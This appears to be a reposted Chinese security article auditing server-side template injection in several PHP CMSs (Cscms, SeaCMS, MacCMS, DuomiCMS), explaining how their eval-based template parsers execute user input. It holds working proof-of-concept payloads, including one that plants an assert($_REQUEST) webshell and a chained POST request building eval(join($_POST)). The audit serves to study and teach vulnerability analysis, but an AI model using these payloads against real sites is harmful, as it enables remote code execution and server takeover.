anrey573 发表于 2019-8-30 12:37:20

存在SSTI漏洞的CMS合集

本文首发于:先知社区

本文作者:fz41(公众号“无极安全”作者)

0X00 前言

代码审计,考察的是扎扎实实的本领,CMS的漏洞的挖掘能力是衡量一个Web狗的强弱的标准,强网杯的时候,Web题目考的了一个CMS的代码审计,考察到了SSTI漏洞,菜鸡一枚的我过来汇总一下在PHP中的SSTI漏洞,望能抛砖引玉,引起读者的共鸣。

0X01 SSTI漏洞概述

概念

SSTI(服务端模板注入)和常见Web注入的成因一样,也是服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。

具体的注入方式决定了其SSTI的由来。

模板注入涉及的是服务端Web应用使用模板引擎渲染用户请求的过程。
CMS中的SSTI漏洞汇总

这里找了几个CMS漏洞中的SSTI的例子,简单的复现和分析一下,说不定能找出一些共性的特点呢。

0X02 强网杯Cscms题目的SSTI

环境搭建

win10+phpstudy: php5.6 apache2+mysql

POC

第一种
URL:index.php/gbook
留言数据:{cscmsphp}assert($_REQUEST);{/cscmsphp}
Shell:/index.php/gbook/lists/1?pwd=phpinfo();

第二种
URL:index.php/dance/search?key={cscmsphp}phpinfo();{/cscmsphp}

第二种的poc在强网比赛中好像是不能用,因为dance的模块好像是被阉割了。
漏洞分析

核心的漏洞存在于
upload/cscms/app/models/Csskins.php

中的函数
public function cscms_php($php,$content,$str) {
$evalstr=" return $content";
$newsphp=eval($evalstr);
      $str=str_replace($php,$newsphp,$str);
return $str;
    }

不难看看出,这段代码使用危险函数eval 要找漏洞的话直接使用全局搜索的方法,找到这个函数的调用地点就好

调用的地方同样也是在这个文件中
      //PHP代码解析
      preg_match_all('/{cscmsphp}([\s\S]+?){\/cscmsphp}/',$str,$php_arr);
      if(!empty($php_arr)){
            for($i=0;$i<count($php_arr);$i++){
                $str=$this->cscms_php($php_arr[$i],$php_arr[$i],$str);
            }
      }
      unset($php_arr);

关键点就在于控制$str变量,从上面可以判定出,如果最后传入的值是类似如下这种形式,php的代码是可以执行的。
{cscmsphp}phpinfo();{/cscmsphp}

接下来寻找如何控制$str的值,上述的代码存在与
upload/cscms/app/models/Csskins.php

的template_parse函数中

全局搜索template_parse函数

全局搜索之后,发现调用这个函数的地方有很多,但是我们要做的就是筛选出有漏洞的地方,但是什么是有漏洞的地方呢,一切输入都是有害的,所以,最好是能找到与数据库操作有关的内容,这些应该是我们要找的重点。
$Mark_Text=$this->Csskins->template_parse($Mark_Text,true);

搜索之后会发现,所有的模板大概都是这样加载的,于是我们就把重点放在了变量Mark_Text上面

逐个分析之后,发现
/cscms/upload/cscms/app/models/Cstpl.php

文件里操作渲染的数据是从数据库中取出来的,具体的内容如下
    public function gbook_list($page=1){
      if(User_BookFun==0){ //网站关闭留言
            return "<div id='cscms_gbook'>网站已经关闭了在线留言~!</div>";
      }
      $data_content='';
      //装载模板
      $Mark_Text=$this->load->view('gbook_ajax.html','',true);
      //预先除了分页
      $pagenum=getpagenum($Mark_Text);
      preg_match_all('/{cscms:([\S]+)\s+(.*?pagesize=\"([\S]+)\".*?)}([\s\S]+?){\/cscms:\1}/',$Mark_Text,$page_arr);
      print_r($page_arr);
      print "fangzhang";
      if(!empty($page_arr) && !empty($page_arr)){
            print_r($page_arr);
            $field=$page_arr; //前缀名
            //组装SQL数据
            $sqlstr=$this->Csskins->cscms_sql($page_arr,$page_arr,$page_arr,$page_arr,'id',0);
            //总数量
            $nums = $this->Csdb->get_allnums($sqlstr);
            $Arr=spanajaxpage($sqlstr,$nums,$page_arr,$pagenum,'cscms.getlGbook',$page);
            //判断页数大于2/3则倒序显示
            if($Arr>10 && $page > $Arr*2/3){
                $Arr = current(explode(' LIMIT ', $Arr));
                if(strpos($Arr, ' desc ') !== false){
                  $Arr = str_replace(' desc ', ' asc ', $Arr);
                }else{
                  $Arr = str_replace(' asc ', ' desc ', $Arr);
                }
                $spage = ($Arr-$page)*$Arr;
                $Arr .= ' LIMIT '.$spage.','.$Arr;
            }
            if($nums>0){
                $sorti=1;
                $result_array=$this->db->query($Arr)->result_array();
                foreach ($result_array as $row2) {
                  $datatmp=$this->Csskins->cscms_skins($field,$page_arr,$page_arr,$row2,$sorti);
                  $sorti++;
                  $data_content.=$datatmp;
                }
            }
            print $data_content;
            $Mark_Text=page_mark($Mark_Text,$Arr);   //分页解析
            $Mark_Text=str_replace($page_arr,$data_content,$Mark_Text);
      }
      unset($page_arr);
      $Mark_Text=str_replace("",get_token('gbook_token'),$Mark_Text);
      $Mark_Text=$this->Csskins->template_parse($Mark_Text,false);
      return $Mark_Text;
    }

在这个方法中,仔细观察一下那个$sqlstr变量

在页面打印出来了如下的sql语句,
select * from `v41_gbook` where cid=1 and fid=0 order by id desc

经过页数的判断之后sql语句为如下变量$Arr打印如下:
select * from `v41_gbook` where cid=1 and fid=0 order by id desc LIMIT 0,5

结果保存在变量data_content中,

经过如下语句替换之后,查询的结果保存在最开始要渲染的那个变量$Mark_Text中
$Mark_Text=str_replace($page_arr,$data_content,$Mark_Text);

所以,我们可以通过控制的数据库的留言内容,来控制渲染的内容,

数据库的内容就是我们要插入的语句

我们可以通过这个方式留言
http://127.0.0.1/cscms/upload/index.php/gbook

抓包分析一下,可以看到使用的url是
/cscms/upload/index.php/gbook/add

在add的方法内,并没有什么过滤的方式

留言成之后通过这个方式访问
http://127.0.0.1/cscms/upload/index.php/gbook/lists/1?pwd=phpinfo();

以上就是整个代码审计的过程。

0X03 海洋CMS的SSTI

环境搭建

win10+phpstudy: php5.6 apache2+mysql seacms(v6.53)

POC

POST /seacms(v6.53)/upload/search.php HTTP/1.1
Host: 127.0.0.1
Proxy-Connection: keep-alive
Content-Length: 208
Cache-Control: max-age=0
Origin: http://127.0.0.1
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://127.0.0.1/seacms(v6.53)/upload/index.php
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: BEEFHOOK=9BIcNvrOYJ3zap74fscXQTchPtgyOGlbcO0DyQhdo7jP6k3prnO82U6v9cOOCFh1Xl8HLO0Bl417ZGSN; bdshare_firstime=1516777076849; UM_distinctid=16127562db49-05b0f0ac5b7059-454c092b-cc7fe-16127562dba35b; CNZZDATA1234139=cnzz_eid%3D1799312719-1516783434-%26ntime%3D1516783434; a4207_times=1; PHPSESSID=80dadc311b51e7ae6d8e4e57ff626241

searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST))&9[]=ph&9[]=pinfo();

漏洞分析

依旧是全局搜索eval函数,然后在一个函数里面看到了一个可疑的地方
    function parseIf($content){
      if (strpos($content,'{if:')=== false){
      return $content;
      }else{
      $labelRule = buildregx("{if:(.*?)}(.*?){end if}","is");
      $labelRule2="{elseif";
      $labelRule3="{else}";
      preg_match_all($labelRule,$content,$iar);
      $arlen=count($iar);
      $elseIfFlag=false;
      for($m=0;$m<$arlen;$m++){
            $strIf=$iar[$m];
            $strIf=$this->parseStrIf($strIf);
            $strThen=$iar[$m];
            $strThen=$this->parseSubIf($strThen);
            if (strpos($strThen,$labelRule2)===false){
                if (strpos($strThen,$labelRule3)>=0){
                  $elsearray=explode($labelRule3,$strThen);
                  $strThen1=$elsearray;
                  $strElse1=$elsearray;
                  @eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");
                  if ($ifFlag){ $content=str_replace($iar[$m],$strThen1,$content);} else {$content=str_replace($iar[$m],$strElse1,$content);}
                }else{
                @eval("if(".$strIf.") { \$ifFlag=true;} else{ \$ifFlag=false;}");
                if ($ifFlag) $content=str_replace($iar[$m],$strThen,$content); else $content=str_replace($iar[$m],"",$content);}
            }else{
                $elseIfArray=explode($labelRule2,$strThen);
                $elseIfArrayLen=count($elseIfArray);
                $elseIfSubArray=explode($labelRule3,$elseIfArray[$elseIfArrayLen-1]);
                $resultStr=$elseIfSubArray;
                $elseIfArraystr0=addslashes($elseIfArray);
                @eval("if($strIf){\$resultStr=\"$elseIfArraystr0\";}");
                for($elseIfLen=1;$elseIfLen<$elseIfArrayLen;$elseIfLen++){
                  $strElseIf=getSubStrByFromAndEnd($elseIfArray[$elseIfLen],":","}","");
                  $strElseIf=$this->parseStrIf($strElseIf);
                  $strElseIfThen=addslashes(getSubStrByFromAndEnd($elseIfArray[$elseIfLen],"}","","start"));
                  @eval("if(".$strElseIf."){\$resultStr=\"$strElseIfThen\";}");
                  @eval("if(".$strElseIf."){\$elseIfFlag=true;}else{\$elseIfFlag=false;}");
                  if ($elseIfFlag) {break;}
                }
                $strElseIf0=getSubStrByFromAndEnd($elseIfSubArray,":","}","");
                $strElseIfThen0=addslashes(getSubStrByFromAndEnd($elseIfSubArray,"}","","start"));
                if(strpos($strElseIf0,'==')===false&&strpos($strElseIf0,'=')>0)$strElseIf0=str_replace('=', '==', $strElseIf0);
                @eval("if(".$strElseIf0."){\$resultStr=\"$strElseIfThen0\";\$elseIfFlag=true;}");
                $content=str_replace($iar[$m],$resultStr,$content);
            }
      }
      return $content;
      }
    }

函数的功能大概就是把输入的数据进行渲染,然后输出到页面去

在渲染模板的内容的时候有一个最终执行if语句,如果if语句里面的内容可控,我们将其写成一个表达式,就可以造成代码注入,然后造成代码执行。下面来进行分析我们的任务很明确,构造特殊的函数参数,得到一可以解析的php函数表达式

依次的调用栈如下:
@eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");//$strIf

$strIf=$iar[$m];
$strIf=$this->parseStrIf($strIf);//$iar

preg_match_all($labelRule,$content,$iar);//$content

function parseIf($content){//

然后就是全局查找parseIf函数的调用情况

然后就到了漏洞最关键的地方。

在search.php页面中有一个函数echoSearchPage();

变量$content 经过无数次的替换最后到达了我们想去的函数,我们需要做的工作就是把if语句构造出一个表达式,从而执行我们想要的函数,或者说是构造一个shell,在search.php输入的变量都是可控的关键的代码如下:
if(intval($searchtype)==5)
    {
      $tname = !empty($tid)?getTypeNameOnCache($tid):'全部';
      $jq = !empty($jq)?$jq:'全部';
      $area = !empty($area)?$area:'全部';
      $year = !empty($year)?$year:'全部';
      $yuyan = !empty($yuyan)?$yuyan:'全部';
      $letter = !empty($letter)?$letter:'全部';
      $state = !empty($state)?$state:'全部';
      $ver = !empty($ver)?$ver:'全部';
      $money = !empty($money)?$money:'全部';
      print base64_encode($content);
      $content = str_replace("{searchpage:type}",$tid,$content);
      $content = str_replace("{searchpage:typename}",$tname ,$content);
      $content = str_replace("{searchpage:year}",$year,$content);
      $content = str_replace("{searchpage:area}",$area,$content);
      $content = str_replace("{searchpage:letter}",$letter,$content);
      $content = str_replace("{searchpage:lang}",$yuyan,$content);
      $content = str_replace("{searchpage:jq}",$jq,$content);
      if($state=='w'){$state2="完结";}elseif($state=='l'){$state2="连载中";}else{$state2="全部";}
      if($money=='m'){$money2="免费";}elseif($money=='s'){$money2="收费";}else{$money2="全部";}
      $content = str_replace("{searchpage:state}",$state2,$content);
      $content = str_replace("{searchpage:money}",$money2,$content);
      $content = str_replace("{searchpage:ver}",$ver,$content);
      $content=$mainClassObj->parsePageList($content,"",$page,$pCount,$TotalResult,"cascade");
      $content=$mainClassObj->parseSearchItemList($content,"type");
      $content=$mainClassObj->parseSearchItemList($content,"year");
      $content=$mainClassObj->parseSearchItemList($content,"area");
      $content=$mainClassObj->parseSearchItemList($content,"letter");
      $content=$mainClassObj->parseSearchItemList($content,"lang");
      $content=$mainClassObj->parseSearchItemList($content,"jq");
      $content=$mainClassObj->parseSearchItemList($content,"state");
      $content=$mainClassObj->parseSearchItemList($content,"ver");
      $content=$mainClassObj->parseSearchItemList($content,"money");
    }else
    {
      $content=$mainClassObj->parsePageList($content,"",$page,$pCount,$TotalResult,"search");
    }

如果进入了这个循环的话,就可以不断的操作content的内容了,如果不知道内容的话可以把它打印出来的。

结合poc体会一下其构造的艺术感觉
searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST))&9[]=sy&9[]=stem(dir);

按照顺序在可以分别得到如下结果:
searchword={if{searchpage:year}
$content = str_replace("{seacms:searchword}",$searchword,$content);

得到
{if{searchpage:year}
year=:e{searchpage:area}}
$content = str_replace("{searchpage:year}",$year,$content);

得到
{if:e{searchpage:area}}
area=v{searchpage:letter}
$content = str_replace("{searchpage:area}",$area,$content);

得到
{if:ev{searchpage:letter}
letter=al{searchpage:lang}
$content = str_replace("{searchpage:letter}",$letter,$content);

得到
{if:eval{searchpage:lang}
yuyan=(join{searchpage:jq}
$content = str_replace("{searchpage:lang}",$yuyan,$content);

得到
{if:eval(join{searchpage:jq}
jq=($_P{searchpage:ver}
$content = str_replace("{searchpage:jq}",$jq,$content);

得到
{if:eval(join($_P{searchpage:ver}
ver=OST))
$content = str_replace("{searchpage:ver}",$ver,$content);

得到
{if:eval(join($_Pver=OST))

这样就相当于是得到了一个shell

真的很佩服这个漏洞的作者。

0X04 苹果CMS的SSTI

环境搭建

win10+phpstudy: php5.6 apache2+mysql maccms_php_v8.x.zip

POC

http://127.0.0.1/maccms/index.PHP?m=vod-search
POST 数据wd={if-A:phpinfo()}{endif-A}

漏洞分析

其实这个CMS的漏洞原理和上一个CMS的漏洞的原理差不多,关键的几个点还是对模板的数据没有严格的过滤,然后用了eval,然后是在if语句上出的问题。以下做简要的分析。

这个CMS的渲染的方式和上一个出奇的相似

核心的代码还是在渲染if语句里面

这是路径
maccms\inc\common\template.php

关键函数在861行左右
function ifex()
    {
      if (!strpos(",".$this->H,"{if-")) { return; }
      $labelRule = buildregx('{if-([\s\S]*?):([\s\S]+?)}([\s\S]*?){endif-\1}',"is");
      preg_match_all($labelRule,$this->H,$iar);
      print_r($iar);
      $arlen=count($iar);

出奇的相似,我们的目的还是要控制$this-H的变化。因为正则匹配之后的结果都存入变量$iar中了,
      for($m=0;$m<$arlen;$m++){
            $strn = $iar[$m];
            $strif= asp2phpif( $iar[$m] ) ;
            $strThen= $iar[$m];
            $elseifFlag=false;

            $labelRule2="{elseif-".$strn."";
            $labelRule3="{else-".$strn."}";

            if (strpos(",".$strThen,$labelRule2)>0){
                $elseifArray=explode($labelRule2,$strThen);
                $elseifArrayLen=count($elseifArray);
                $elseifSubArray=explode($labelRule3,$elseifArray[$elseifArrayLen-1]);
                $resultStr=$elseifSubArray;
                @eval("if($strif){\$resultStr='$elseifArray';\$elseifFlag=true;}");

上面是核心的代码,关键还是控制 $strif变量,要是想控制变量还是要控制$this->H

所以全局搜索函数调用的地方

在入口文件就已经发生对该函数的调用,

通过分析cms的路由可知,m=vod-search参数进行拆分vod参数和search参数,vod参数是进入的文件路径,search是vod.php的一个选项

wd是可以直接通过post方式传入的值

在search的模块中
    $tpl->P["siteaid"] = 15;
    $wd = be("all", "wd");
    if(!empty($wd)){ $tpl->P["wd"] = $wd; }

关键的替换代码
$colarr = array('{page:des}','{page:key}','{page:now}','{page:order}','{page:by}','{page:wd}','{page:wdencode}','{page:pinyin}','{page:letter}','{page:year}','{page:starring}','{page:starringencode}','{page:directed}','{page:directedencode}','{page:area}','{page:areaencode}','{page:lang}','{page:langencode}','{page:typeid}','{page:typepid}','{page:classid}');

$valarr = array($tpl->P["des"],$tpl->P["key"],$tpl->P["pg"],$tpl->P["order"],$tpl->P["by"],$tpl->P["wd"],urlencode($tpl->P["wd"]),$tpl->P["pinyin"],$tpl->P["letter"],$tpl->P['year']==0?'':$tpl->P['year'],$tpl->P["starring"],urlencode($tpl->P["starring"]),$tpl->P["directed"],urlencode($tpl->P["directed"]),$tpl->P["area"],urlencode($tpl->P["area"]),$tpl->P["lang"],urlencode($tpl->P["lang"]),$tpl->P['typeid'],$tpl->P['typepid'] ,$tpl->P['classid']);

$tpl->H = str_replace($colarr, $valarr ,$tpl->H);

所以在渲染的时候,我们需要构造的就是wd这个参数,回过头可以看看我们需要构造什么样的正则

首先要符合正则表达式
{if-([\s\S]*?):([\s\S]+?)}([\s\S]*?){endif-\1}

类似这样:
{if-dddd:phpinfo()}{endif-dddd}

这就是那个payload了。
0X05 DuomiCMS的SSTI

环境搭建

DuomiCms_v1.32

POC

/search.php?searchtype=5&tid=&area=phpinfo()

漏洞分析

不分析了,和上面两个差不多。感觉模板的渲染的思路好像是一样的。

0X06 总结

SSTI只是注入漏洞的一种,其基本的原理依然是用户的不正常输入造成了有害的输出,简而言之,一切的输入都是有害的。

通过以上的几个CMS的分析看,主要的原因有如下几点:

对插入模板的数据过滤不严格造成的

eval的滥用

对输入的数据没有过滤


0X07 操作推荐

相关的漏洞学习可以到合天网安实验室操作实验——Flask服务端模板注入漏洞(通过该实验了解服务端模板注入漏洞的危害与利用)

长按下面二维码,或点击文末“阅读原文”开始做实验哦(PC端操作最佳哟)



0X08 相关链接

http://rickgray.me/2015/11/03/server-side-template-injection-attack-analysis/

https://www.jianshu.com/p/a7838a89f2f9

https://www.jianshu.com/p/ebf156afda49

https://www.cnblogs.com/test404/p/7397755.html
http://imosin.com/2017/11/14/DuomiCms/



别忘了投稿哦

大家有好的技术原创文章

欢迎投稿至邮箱:edu@heetian.com

合天会根据文章的时效、新颖、文笔、实用等多方面评判给予200元-800元不等的稿费哦

有才能的你快来投稿吧!

了解投稿详情点击——重金悬赏 | 合天原创投稿涨稿费啦!






点击“阅读全文”,开始学习。
页: [1]
查看完整版本: 存在SSTI漏洞的CMS合集